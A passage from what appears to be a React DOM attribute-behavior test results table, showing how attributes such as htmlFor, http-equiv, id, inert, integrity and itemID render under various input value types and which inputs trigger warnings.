--- |\n| `htmlFor=(string)`| (changed)| `\"a string\"` |\n| `htmlFor=(empty string)`| (initial)| `<empty string>` |\n| `htmlFor=(array with string)`| (changed)| `\"string\"` |\n| `htmlFor=(empty array)`| (initial)| `<empty string>` |\n| `htmlFor=(object)`| (changed)| `\"result of toString()\"` |\n| `htmlFor=(numeric string)`| (changed)| `\"42\"` |\n| `htmlFor=(-1)`| (changed)| `\"-1\"` |\n| `htmlFor=(0)`| (changed)| `\"0\"` |\n| `htmlFor=(integer)`| (changed)| `\"1\"` |\n| `htmlFor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `htmlFor=(float)`| (changed)| `\"99.99\"` |\n| `htmlFor=(true)`| (initial, warning)| `<empty string>` |\n| `htmlFor=(false)`| (initial, warning)| `<empty string>` |\n| `htmlFor=(string 'true')`| (changed)| `\"true\"` |\n| `htmlFor=(string 'false')`| (changed)| `\"false\"` |\n| `htmlFor=(string 'on')`| (changed)| `\"on\"` |\n| `htmlFor=(string 'off')`| (changed)| `\"off\"` |\n| `htmlFor=(symbol)`| (initial, warning)| `<empty string>` |\n| `htmlFor=(function)`| (initial, warning)| `<empty string>` |\n| `htmlFor=(null)`| (initial)| `<empty string>` |\n| `htmlFor=(undefined)`| (initial)| `<empty string>` |\n\n## `http-equiv` (on `<meta>` inside `<head>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `http-equiv=(string)`| (changed, warning)| `\"a string\"` |\n| `http-equiv=(empty string)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(array with string)`| (changed, warning)| `\"string\"` |\n| `http-equiv=(empty array)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `http-equiv=(numeric string)`| (changed, warning)| `\"42\"` |\n| `http-equiv=(-1)`| (changed, warning)| `\"-1\"` |\n| `http-equiv=(0)`| (changed, warning)| `\"0\"` |\n| `http-equiv=(integer)`| (changed, warning)| `\"1\"` |\n| `http-equiv=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `http-equiv=(float)`| (changed, warning)| `\"99.99\"` |\n| `http-equiv=(true)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(false)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(string 'true')`| (changed, warning)| `\"true\"` |\n| `http-equiv=(string 'false')`| (changed, warning)| `\"false\"` |\n| `http-equiv=(string 'on')`| (changed, warning)| `\"on\"` |\n| `http-equiv=(string 'off')`| (changed, warning)| `\"off\"` |\n| `http-equiv=(symbol)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(function)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(null)`| (initial, warning)| `<empty string>` |\n| `http-equiv=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `httpEquiv` (on `<meta>` inside `<head>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `httpEquiv=(string)`| (changed)| `\"a string\"` |\n| `httpEquiv=(empty string)`| (initial)| `<empty string>` |\n| `httpEquiv=(array with string)`| (changed)| `\"string\"` |\n| `httpEquiv=(empty array)`| (initial)| `<empty string>` |\n| `httpEquiv=(object)`| (changed)| `\"result of toString()\"` |\n| `httpEquiv=(numeric string)`| (changed)| `\"42\"` |\n| `httpEquiv=(-1)`| (changed)| `\"-1\"` |\n| `httpEquiv=(0)`| (changed)| `\"0\"` |\n| `httpEquiv=(integer)`| (changed)| `\"1\"` |\n| `httpEquiv=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `httpEquiv=(float)`| (changed)| `\"99.99\"` |\n| `httpEquiv=(true)`| (initial, warning)| `<empty string>` |\n| `httpEquiv=(false)`| (initial, warning)| `<empty string>` |\n| `httpEquiv=(string 'true')`| (changed)| `\"true\"` |\n| `httpEquiv=(string 'false')`| (changed)| `\"false\"` |\n| `httpEquiv=(string 'on')`| (changed)| `\"on\"` |\n| `httpEquiv=(string 'off')`| (changed)| `\"off\"` |\n| `httpEquiv=(symbol)`| (initial, warning)| `<empty string>` |\n| `httpEquiv=(function)`| (initial, warning)| `<empty string>` |\n| `httpEquiv=(null)`| (initial)| `<empty string>` |\n| `httpEquiv=(undefined)`| (initial)| `<empty string>` |\n\n## `icon` (on `<command>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `icon=(string)`| (changed, warning, ssr warning)| `\"a string\"` |\n| `icon=(empty string)`| (changed, warning, ssr warning)| `<empty string>` |\n| `icon=(array with string)`| (changed, warning, ssr warning)| `\"string\"` |\n| `icon=(empty array)`| (changed, warning, ssr warning)| `<empty string>` |\n| `icon=(object)`| (changed, warning, ssr warning)| `\"result of toString()\"` |\n| `icon=(numeric string)`| (changed, warning, ssr warning)| `\"42\"` |\n| `icon=(-1)`| (changed, warning, ssr warning)| `\"-1\"` |\n| `icon=(0)`| (changed, warning, ssr warning)| `\"0\"` |\n| `icon=(integer)`| (changed, warning, ssr warning)| `\"1\"` |\n| `icon=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `icon=(float)`| (changed, warning, ssr warning)| `\"99.99\"` |\n| `icon=(true)`| (initial, warning)| `<null>` |\n| `icon=(false)`| (initial, warning)| `<null>` |\n| `icon=(string 'true')`| (changed, warning, ssr warning)| `\"true\"` |\n| `icon=(string 'false')`| (changed, warning, ssr warning)| `\"false\"` |\n| `icon=(string 'on')`| (changed, warning, ssr warning)| `\"on\"` |\n| `icon=(string 'off')`| (changed, warning, ssr warning)| `\"off\"` |\n| `icon=(symbol)`| (initial, warning)| `<null>` |\n| `icon=(function)`| (initial, warning)| `<null>` |\n| `icon=(null)`| (initial, warning, ssr warning)| `<null>` |\n| `icon=(undefined)`| (initial, warning, ssr warning)| `<null>` |\n\n## `id` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `id=(string)`| (changed)| `\"a string\"` |\n| `id=(empty string)`| (initial)| `<empty string>` |\n| `id=(array with string)`| (changed)| `\"string\"` |\n| `id=(empty array)`| (initial)| `<empty string>` |\n| `id=(object)`| (changed)| `\"result of toString()\"` |\n| `id=(numeric string)`| (changed)| `\"42\"` |\n| `id=(-1)`| (changed)| `\"-1\"` |\n| `id=(0)`| (changed)| `\"0\"` |\n| `id=(integer)`| (changed)| `\"1\"` |\n| `id=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `id=(float)`| (changed)| `\"99.99\"` |\n| `id=(true)`| (initial, warning)| `<empty string>` |\n| `id=(false)`| (initial, warning)| `<empty string>` |\n| `id=(string 'true')`| (changed)| `\"true\"` |\n| `id=(string 'false')`| (changed)| `\"false\"` |\n| `id=(string 'on')`| (changed)| `\"on\"` |\n| `id=(string 'off')`| (changed)| `\"off\"` |\n| `id=(symbol)`| (initial, warning)| `<empty string>` |\n| `id=(function)`| (initial, warning)| `<empty string>` |\n| `id=(null)`| (initial)| `<empty string>` |\n| `id=(undefined)`| (initial)| `<empty string>` |\n\n## `ID` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `ID=(string)`| (changed, warning)| `\"a string\"` |\n| `ID=(empty string)`| (initial, warning)| `<empty string>` |\n| `ID=(array with string)`| (changed, warning)| `\"string\"` |\n| `ID=(empty array)`| (initial, warning)| `<empty string>` |\n| `ID=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `ID=(numeric string)`| (changed, warning)| `\"42\"` |\n| `ID=(-1)`| (changed, warning)| `\"-1\"` |\n| `ID=(0)`| (changed, warning)| `\"0\"` |\n| `ID=(integer)`| (changed, warning)| `\"1\"` |\n| `ID=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `ID=(float)`| (changed, warning)| `\"99.99\"` |\n| `ID=(true)`| (initial, warning)| `<empty string>` |\n| `ID=(false)`| (initial, warning)| `<empty string>` |\n| `ID=(string 'true')`| (changed, warning)| `\"true\"` |\n| `ID=(string 'false')`| (changed, warning)| `\"false\"` |\n| `ID=(string 'on')`| (changed, warning)| `\"on\"` |\n| `ID=(string 'off')`| (changed, warning)| `\"off\"` |\n| `ID=(symbol)`| (initial, warning)| `<empty string>` |\n| `ID=(function)`| (initial, warning)| `<empty string>` |\n| `ID=(null)`| (initial, warning)| `<empty string>` |\n| `ID=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `ideographic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `ideographic=(string)`| (changed)| `\"a string\"` |\n| `ideographic=(empty string)`| (changed)| `<empty string>` |\n| `ideographic=(array with string)`| (changed)| `\"string\"` |\n| `ideographic=(empty array)`| (changed)| `<empty string>` |\n| `ideographic=(object)`| (changed)| `\"result of toString()\"` |\n| `ideographic=(numeric string)`| (changed)| `\"42\"` |\n| `ideographic=(-1)`| (changed)| `\"-1\"` |\n| `ideographic=(0)`| (changed)| `\"0\"` |\n| `ideographic=(integer)`| (changed)| `\"1\"` |\n| `ideographic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `ideographic=(float)`| (changed)| `\"99.99\"` |\n| `ideographic=(true)`| (initial, warning)| `<null>` |\n| `ideographic=(false)`| (initial, warning)| `<null>` |\n| `ideographic=(string 'true')`| (changed)| `\"true\"` |\n| `ideographic=(string 'false')`| (changed)| `\"false\"` |\n| `ideographic=(string 'on')`| (changed)| `\"on\"` |\n| `ideographic=(string 'off')`| (changed)| `\"off\"` |\n| `ideographic=(symbol)`| (initial, warning)| `<null>` |\n| `ideographic=(function)`| (initial, warning)| `<null>` |\n| `ideographic=(null)`| (initial)| `<null>` |\n| `ideographic=(undefined)`| (initial)| `<null>` |\n\n## `image-rendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `image-rendering=(string)`| (changed, warning)| `\"a string\"` |\n| `image-rendering=(empty string)`| (changed, warning)| `<empty string>` |\n| `image-rendering=(array with string)`| (changed, warning)| `\"string\"` |\n| `image-rendering=(empty array)`| (changed, warning)| `<empty string>` |\n| `image-rendering=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `image-rendering=(numeric string)`| (changed, warning)| `\"42\"` |\n| `image-rendering=(-1)`| (changed, warning)| `\"-1\"` |\n| `image-rendering=(0)`| (changed, warning)| `\"0\"` |\n| `image-rendering=(integer)`| (changed, warning)| `\"1\"` |\n| `image-rendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `image-rendering=(float)`| (changed, warning)| `\"99.99\"` |\n| `image-rendering=(true)`| (initial, warning)| `<null>` |\n| `image-rendering=(false)`| (initial, warning)| `<null>` |\n| `image-rendering=(string 'true')`| (changed, warning)| `\"true\"` |\n| `image-rendering=(string 'false')`| (changed, warning)| `\"false\"` |\n| `image-rendering=(string 'on')`| (changed, warning)| `\"on\"` |\n| `image-rendering=(string 'off')`| (changed, warning)| `\"off\"` |\n| `image-rendering=(symbol)`| (initial, warning)| `<null>` |\n| `image-rendering=(function)`| (initial, warning)| `<null>` |\n| `image-rendering=(null)`| (initial, warning)| `<null>` |\n| `image-rendering=(undefined)`| (initial, warning)| `<null>` |\n\n## `imageRendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `imageRendering=(string)`| (changed)| `\"a string\"` |\n| `imageRendering=(empty string)`| (changed)| `<empty string>` |\n| `imageRendering=(array with string)`| (changed)| `\"string\"` |\n| `imageRendering=(empty array)`| (changed)| `<empty string>` |\n| `imageRendering=(object)`| (changed)| `\"result of toString()\"` |\n| `imageRendering=(numeric string)`| (changed)| `\"42\"` |\n| `imageRendering=(-1)`| (changed)| `\"-1\"` |\n| `imageRendering=(0)`| (changed)| `\"0\"` |\n| `imageRendering=(integer)`| (changed)| `\"1\"` |\n| `imageRendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `imageRendering=(float)`| (changed)| `\"99.99\"` |\n| `imageRendering=(true)`| (initial, warning)| `<null>` |\n| `imageRendering=(false)`| (initial, warning)| `<null>` |\n| `imageRendering=(string 'true')`| (changed)| `\"true\"` |\n| `imageRendering=(string 'false')`| (changed)| `\"false\"` |\n| `imageRendering=(string 'on')`| (changed)| `\"on\"` |\n| `imageRendering=(string 'off')`| (changed)| `\"off\"` |\n| `imageRendering=(symbol)`| (initial, warning)| `<null>` |\n| `imageRendering=(function)`| (initial, warning)| `<null>` |\n| `imageRendering=(null)`| (initial)| `<null>` |\n| `imageRendering=(undefined)`| (initial)| `<null>` |\n\n## `imageSizes` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `imageSizes=(string)`| (changed)| `\"a string\"` |\n| `imageSizes=(empty string)`| (initial)| `<empty string>` |\n| `imageSizes=(array with string)`| (changed)| `\"string\"` |\n| `imageSizes=(empty array)`| (initial)| `<empty string>` |\n| `imageSizes=(object)`| (changed)| `\"result of toString()\"` |\n| `imageSizes=(numeric string)`| (changed)| `\"42\"` |\n| `imageSizes=(-1)`| (changed)| `\"-1\"` |\n| `imageSizes=(0)`| (changed)| `\"0\"` |\n| `imageSizes=(integer)`| (changed)| `\"1\"` |\n| `imageSizes=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `imageSizes=(float)`| (changed)| `\"99.99\"` |\n| `imageSizes=(true)`| (initial, warning)| `<empty string>` |\n| `imageSizes=(false)`| (initial, warning)| `<empty string>` |\n| `imageSizes=(string 'true')`| (changed)| `\"true\"` |\n| `imageSizes=(string 'false')`| (changed)| `\"false\"` |\n| `imageSizes=(string 'on')`| (changed)| `\"on\"` |\n| `imageSizes=(string 'off')`| (changed)| `\"off\"` |\n| `imageSizes=(symbol)`| (initial, warning)| `<empty string>` |\n| `imageSizes=(function)`| (initial, warning)| `<empty string>` |\n| `imageSizes=(null)`| (initial)| `<empty string>` |\n| `imageSizes=(undefined)`| (initial)| `<empty string>` |\n\n## `imageSrcSet` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `imageSrcSet=(string)`| (changed)| `\"a string\"` |\n| `imageSrcSet=(empty string)`| (initial)| `<empty string>` |\n| `imageSrcSet=(array with string)`| (changed)| `\"string\"` |\n| `imageSrcSet=(empty array)`| (initial)| `<empty string>` |\n| `imageSrcSet=(object)`| (changed)| `\"result of toString()\"` |\n| `imageSrcSet=(numeric string)`| (changed)| `\"42\"` |\n| `imageSrcSet=(-1)`| (changed)| `\"-1\"` |\n| `imageSrcSet=(0)`| (changed)| `\"0\"` |\n| `imageSrcSet=(integer)`| (changed)| `\"1\"` |\n| `imageSrcSet=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `imageSrcSet=(float)`| (changed)| `\"99.99\"` |\n| `imageSrcSet=(true)`| (initial, warning)| `<empty string>` |\n| `imageSrcSet=(false)`| (initial, warning)| `<empty string>` |\n| `imageSrcSet=(string 'true')`| (changed)| `\"true\"` |\n| `imageSrcSet=(string 'false')`| (changed)| `\"false\"` |\n| `imageSrcSet=(string 'on')`| (changed)| `\"on\"` |\n| `imageSrcSet=(string 'off')`| (changed)| `\"off\"` |\n| `imageSrcSet=(symbol)`| (initial, warning)| `<empty string>` |\n| `imageSrcSet=(function)`| (initial, warning)| `<empty string>` |\n| `imageSrcSet=(null)`| (initial)| `<empty string>` |\n| `imageSrcSet=(undefined)`| (initial)| `<empty string>` |\n\n## `in` (on `<feBlend>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `in=(string)`| (changed)| `\"a string\"` |\n| `in=(empty string)`| (changed)| `<empty string>` |\n| `in=(array with string)`| (changed)| `\"string\"` |\n| `in=(empty array)`| (changed)| `<empty string>` |\n| `in=(object)`| (changed)| `\"result of toString()\"` |\n| `in=(numeric string)`| (changed)| `\"42\"` |\n| `in=(-1)`| (changed)| `\"-1\"` |\n| `in=(0)`| (changed)| `\"0\"` |\n| `in=(integer)`| (changed)| `\"1\"` |\n| `in=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `in=(float)`| (changed)| `\"99.99\"` |\n| `in=(true)`| (initial, warning)| `<null>` |\n| `in=(false)`| (initial, warning)| `<null>` |\n| `in=(string 'true')`| (changed)| `\"true\"` |\n| `in=(string 'false')`| (changed)| `\"false\"` |\n| `in=(string 'on')`| (changed)| `\"on\"` |\n| `in=(string 'off')`| (changed)| `\"off\"` |\n| `in=(symbol)`| (initial, warning)| `<null>` |\n| `in=(function)`| (initial, warning)| `<null>` |\n| `in=(null)`| (initial)| `<null>` |\n| `in=(undefined)`| (initial)| `<null>` |\n\n## `inert` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `inert=(string)`| (changed)| `<boolean: true>` |\n| `inert=(empty string)`| (initial, warning)| `<boolean: false>` |\n| `inert=(array with string)`| (changed)| `<boolean: true>` |\n| `inert=(empty array)`| (changed)| `<boolean: true>` |\n| `inert=(object)`| (changed)| `<boolean: true>` |\n| `inert=(numeric string)`| (changed)| `<boolean: true>` |\n| `inert=(-1)`| (changed)| `<boolean: true>` |\n| `inert=(0)`| (initial)| `<boolean: false>` |\n| `inert=(integer)`| (changed)| `<boolean: true>` |\n| `inert=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `inert=(float)`| (changed)| `<boolean: true>` |\n| `inert=(true)`| (changed)| `<boolean: true>` |\n| `inert=(false)`| (initial)| `<boolean: false>` |\n| `inert=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `inert=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `inert=(string 'on')`| (changed)| `<boolean: true>` |\n| `inert=(string 'off')`| (changed)| `<boolean: true>` |\n| `inert=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `inert=(function)`| (initial, warning)| `<boolean: false>` |\n| `inert=(null)`| (initial)| `<boolean: false>` |\n| `inert=(undefined)`| (initial)| `<boolean: false>` |\n\n## `in2` (on `<feBlend>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `in2=(string)`| (changed)| `\"a string\"` |\n| `in2=(empty string)`| (initial)| `<empty string>` |\n| `in2=(array with string)`| (changed)| `\"string\"` |\n| `in2=(empty array)`| (initial)| `<empty string>` |\n| `in2=(object)`| (changed)| `\"result of toString()\"` |\n| `in2=(numeric string)`| (changed)| `\"42\"` |\n| `in2=(-1)`| (changed)| `\"-1\"` |\n| `in2=(0)`| (changed)| `\"0\"` |\n| `in2=(integer)`| (changed)| `\"1\"` |\n| `in2=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `in2=(float)`| (changed)| `\"99.99\"` |\n| `in2=(true)`| (initial, warning)| `<empty string>` |\n| `in2=(false)`| (initial, warning)| `<empty string>` |\n| `in2=(string 'true')`| (changed)| `\"true\"` |\n| `in2=(string 'false')`| (changed)| `\"false\"` |\n| `in2=(string 'on')`| (changed)| `\"on\"` |\n| `in2=(string 'off')`| (changed)| `\"off\"` |\n| `in2=(symbol)`| (initial, warning)| `<empty string>` |\n| `in2=(function)`| (initial, warning)| `<empty string>` |\n| `in2=(null)`| (initial)| `<empty string>` |\n| `in2=(undefined)`| (initial)| `<empty string>` |\n\n## `initialChecked` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `initialChecked=(string)`| (changed, warning)| `\"a string\"` |\n| `initialChecked=(empty string)`| (changed, warning)| `<empty string>` |\n| `initialChecked=(array with string)`| (changed, warning)| `\"string\"` |\n| `initialChecked=(empty array)`| (changed, warning)| `<empty string>` |\n| `initialChecked=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `initialChecked=(numeric string)`| (changed, warning)| `\"42\"` |\n| `initialChecked=(-1)`| (changed, warning)| `\"-1\"` |\n| `initialChecked=(0)`| (changed, warning)| `\"0\"` |\n| `initialChecked=(integer)`| (changed, warning)| `\"1\"` |\n| `initialChecked=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `initialChecked=(float)`| (changed, warning)| `\"99.99\"` |\n| `initialChecked=(true)`| (initial, warning)| `<null>` |\n| `initialChecked=(false)`| (initial, warning)| `<null>` |\n| `initialChecked=(string 'true')`| (changed, warning)| `\"true\"` |\n| `initialChecked=(string 'false')`| (changed, warning)| `\"false\"` |\n| `initialChecked=(string 'on')`| (changed, warning)| `\"on\"` |\n| `initialChecked=(string 'off')`| (changed, warning)| `\"off\"` |\n| `initialChecked=(symbol)`| (initial, warning)| `<null>` |\n| `initialChecked=(function)`| (initial, warning)| `<null>` |\n| `initialChecked=(null)`| (initial, warning)| `<null>` |\n| `initialChecked=(undefined)`| (initial, warning)| `<null>` |\n\n## `initialValue` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `initialValue=(string)`| (changed, warning)| `\"a string\"` |\n| `initialValue=(empty string)`| (changed, warning)| `<empty string>` |\n| `initialValue=(array with string)`| (changed, warning)| `\"string\"` |\n| `initialValue=(empty array)`| (changed, warning)| `<empty string>` |\n| `initialValue=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `initialValue=(numeric string)`| (changed, warning)| `\"42\"` |\n| `initialValue=(-1)`| (changed, warning)| `\"-1\"` |\n| `initialValue=(0)`| (changed, warning)| `\"0\"` |\n| `initialValue=(integer)`| (changed, warning)| `\"1\"` |\n| `initialValue=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `initialValue=(float)`| (changed, warning)| `\"99.99\"` |\n| `initialValue=(true)`| (initial, warning)| `<null>` |\n| `initialValue=(false)`| (initial, warning)| `<null>` |\n| `initialValue=(string 'true')`| (changed, warning)| `\"true\"` |\n| `initialValue=(string 'false')`| (changed, warning)| `\"false\"` |\n| `initialValue=(string 'on')`| (changed, warning)| `\"on\"` |\n| `initialValue=(string 'off')`| (changed, warning)| `\"off\"` |\n| `initialValue=(symbol)`| (initial, warning)| `<null>` |\n| `initialValue=(function)`| (initial, warning)| `<null>` |\n| `initialValue=(null)`| (initial, warning)| `<null>` |\n| `initialValue=(undefined)`| (initial, warning)| `<null>` |\n\n## `inlist` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `inlist=(string)`| (changed)| `\"a string\"` |\n| `inlist=(empty string)`| (changed)| `<empty string>` |\n| `inlist=(array with string)`| (changed)| `\"string\"` |\n| `inlist=(empty array)`| (changed)| `<empty string>` |\n| `inlist=(object)`| (changed)| `\"result of toString()\"` |\n| `inlist=(numeric string)`| (changed)| `\"42\"` |\n| `inlist=(-1)`| (changed)| `\"-1\"` |\n| `inlist=(0)`| (changed)| `\"0\"` |\n| `inlist=(integer)`| (changed)| `\"1\"` |\n| `inlist=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `inlist=(float)`| (changed)| `\"99.99\"` |\n| `inlist=(true)`| (initial, warning)| `<null>` |\n| `inlist=(false)`| (initial, warning)| `<null>` |\n| `inlist=(string 'true')`| (changed)| `\"true\"` |\n| `inlist=(string 'false')`| (changed)| `\"false\"` |\n| `inlist=(string 'on')`| (changed)| `\"on\"` |\n| `inlist=(string 'off')`| (changed)| `\"off\"` |\n| `inlist=(symbol)`| (initial, warning)| `<null>` |\n| `inlist=(function)`| (initial, warning)| `<null>` |\n| `inlist=(null)`| (initial)| `<null>` |\n| `inlist=(undefined)`| (initial)| `<null>` |\n\n## `inputMode` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `inputMode=(string)`| (initial)| `<empty string>` |\n| `inputMode=(empty string)`| (initial)| `<empty string>` |\n| `inputMode=(array with string)`| (initial)| `<empty string>` |\n| `inputMode=(empty array)`| (initial)| `<empty string>` |\n| `inputMode=(object)`| (initial)| `<empty string>` |\n| `inputMode=(numeric string)`| (initial)| `<empty string>` |\n| `inputMode=(-1)`| (initial)| `<empty string>` |\n| `inputMode=(0)`| (initial)| `<empty string>` |\n| `inputMode=(integer)`| (initial)| `<empty string>` |\n| `inputMode=(NaN)`| (initial, warning)| `<empty string>` |\n| `inputMode=(float)`| (initial)| `<empty string>` |\n| `inputMode=(true)`| (initial, warning)| `<empty string>` |\n| `inputMode=(false)`| (initial, warning)| `<empty string>` |\n| `inputMode=(string 'true')`| (initial)| `<empty string>` |\n| `inputMode=(string 'false')`| (initial)| `<empty string>` |\n| `inputMode=(string 'on')`| (initial)| `<empty string>` |\n| `inputMode=(string 'off')`| (initial)| `<empty string>` |\n| `inputMode=(symbol)`| (initial, warning)| `<empty string>` |\n| `inputMode=(function)`| (initial, warning)| `<empty string>` |\n| `inputMode=(null)`| (initial)| `<empty string>` |\n| `inputMode=(undefined)`| (initial)| `<empty string>` |\n\n## `integrity` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `integrity=(string)`| (changed)| `\"a string\"` |\n| `integrity=(empty string)`| (initial)| `<empty string>` |\n| `integrity=(array with string)`| (changed)| `\"string\"` |\n| `integrity=(empty array)`| (initial)| `<empty string>` |\n| `integrity=(object)`| (changed)| `\"result of toString()\"` |\n| `integrity=(numeric string)`| (changed)| `\"42\"` |\n| `integrity=(-1)`| (changed)| `\"-1\"` |\n| `integrity=(0)`| (changed)| `\"0\"` |\n| `integrity=(integer)`| (changed)| `\"1\"` |\n| `integrity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `integrity=(float)`| (changed)| `\"99.99\"` |\n| `integrity=(true)`| (initial, warning)| `<empty string>` |\n| `integrity=(false)`| (initial, warning)| `<empty string>` |\n| `integrity=(string 'true')`| (changed)| `\"true\"` |\n| `integrity=(string 'false')`| (changed)| `\"false\"` |\n| `integrity=(string 'on')`| (changed)| `\"on\"` |\n| `integrity=(string 'off')`| (changed)| `\"off\"` |\n| `integrity=(symbol)`| (initial, warning)| `<empty string>` |\n| `integrity=(function)`| (initial, warning)| `<empty string>` |\n| `integrity=(null)`| (initial)| `<empty string>` |\n| `integrity=(undefined)`| (initial)| `<empty string>` |\n\n## `intercept` (on `<feFuncA>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `intercept=(string)`| (initial)| `<number: 0>` |\n| `intercept=(empty string)`| (initial)| `<number: 0>` |\n| `intercept=(array with string)`| (initial)| `<number: 0>` |\n| `intercept=(empty array)`| (initial)| `<number: 0>` |\n| `intercept=(object)`| (initial)| `<number: 0>` |\n| `intercept=(numeric string)`| (changed)| `<number: 42>` |\n| `intercept=(-1)`| (changed)| `<number: -1>` |\n| `intercept=(0)`| (initial)| `<number: 0>` |\n| `intercept=(integer)`| (changed)| `<number: 1>` |\n| `intercept=(NaN)`| (initial, warning)| `<number: 0>` |\n| `intercept=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `intercept=(true)`| (initial, warning)| `<number: 0>` |\n| `intercept=(false)`| (initial, warning)| `<number: 0>` |\n| `intercept=(string 'true')`| (initial)| `<number: 0>` |\n| `intercept=(string 'false')`| (initial)| `<number: 0>` |\n| `intercept=(string 'on')`| (initial)| `<number: 0>` |\n| `intercept=(string 'off')`| (initial)| `<number: 0>` |\n| `intercept=(symbol)`| (initial, warning)| `<number: 0>` |\n| `intercept=(function)`| (initial, warning)| `<number: 0>` |\n| `intercept=(null)`| (initial)| `<number: 0>` |\n| `intercept=(undefined)`| (initial)| `<number: 0>` |\n\n## `is` (on `<button>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `is=(string)`| (changed)| `\"x-test-element\"` |\n| `is=(empty string)`| (changed)| `<empty string>` |\n| `is=(array with string)`| (changed, warning)| `\"x-test-element\"` |\n| `is=(empty array)`| (changed, warning)| `<empty string>` |\n| `is=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `is=(numeric string)`| (changed)| `\"42\"` |\n| `is=(-1)`| (changed, warning)| `\"-1\"` |\n| `is=(0)`| (changed, warning)| `\"0\"` |\n| `is=(integer)`| (changed, warning)| `\"1\"` |\n| `is=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `is=(float)`| (changed, warning)| `\"99.99\"` |\n| `is=(true)`| (initial, warning)| `<null>` |\n| `is=(false)`| (initial, warning)| `<null>` |\n| `is=(string 'true')`| (changed)| `\"true\"` |\n| `is=(string 'false')`| (changed)| `\"false\"` |\n| `is=(string 'on')`| (changed)| `\"on\"` |\n| `is=(string 'off')`| (changed)| `\"off\"` |\n| `is=(symbol)`| (initial, warning)| `<null>` |\n| `is=(function)`| (initial, warning)| `<null>` |\n| `is=(null)`| (initial)| `<null>` |\n| `is=(undefined)`| (initial)| `<null>` |\n\n## `itemID` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `itemID=(string)`| (changed)| `\"a string\"` |\n| `itemID=(empty string)`| (changed)| `<empty string>` |\n| `itemID=(array with string)`| (changed)| `\"string\"` |\n| `itemID=(empty array)`| (changed)| `<empty string>` |\n| `itemID=(object)`| (changed)| `\"result of toString()\"` |\n| `itemID=(numeric string)`| (changed)| `\"42\"` |\n| `itemID=(-1)`| (changed)| `\"-1\"` |\n| `itemID=(0)`| (changed)| `\"0\"` |\n| `itemID=(integer)`| (changed)| `\"1\"` |\n| `itemID=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `itemID=(float)`| (changed)| `\"99.99\"` |\n| `itemID=(true)`| (initial, warning)| `<null>` |\n| `itemID=(false)`| (initial, warning)| `<null>` |\n| `itemID=(string 'true')`| (changed)| `\"true\"` |\n| `itemID=(string 'false')`| (changed)| `\"false\"` |\n| `itemID=(string 'on')`| (changed)| `\"on\"` |\n| `itemID=(string 'off')`| (changed)| `\"off\"` |\n| `itemID=(symbol)`| (initial, warning)| `<null>` |\n| `itemID=(function)`| (initial, warning)| `<null>` |\n| `itemID=(null)`| (initial)| `<null>` |\n| `itemID=(undefined)`| (initial)| `<null>` |\n\n## `itemProp` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `itemProp=(string)`| (changed)| `\"a string\"` |\n| 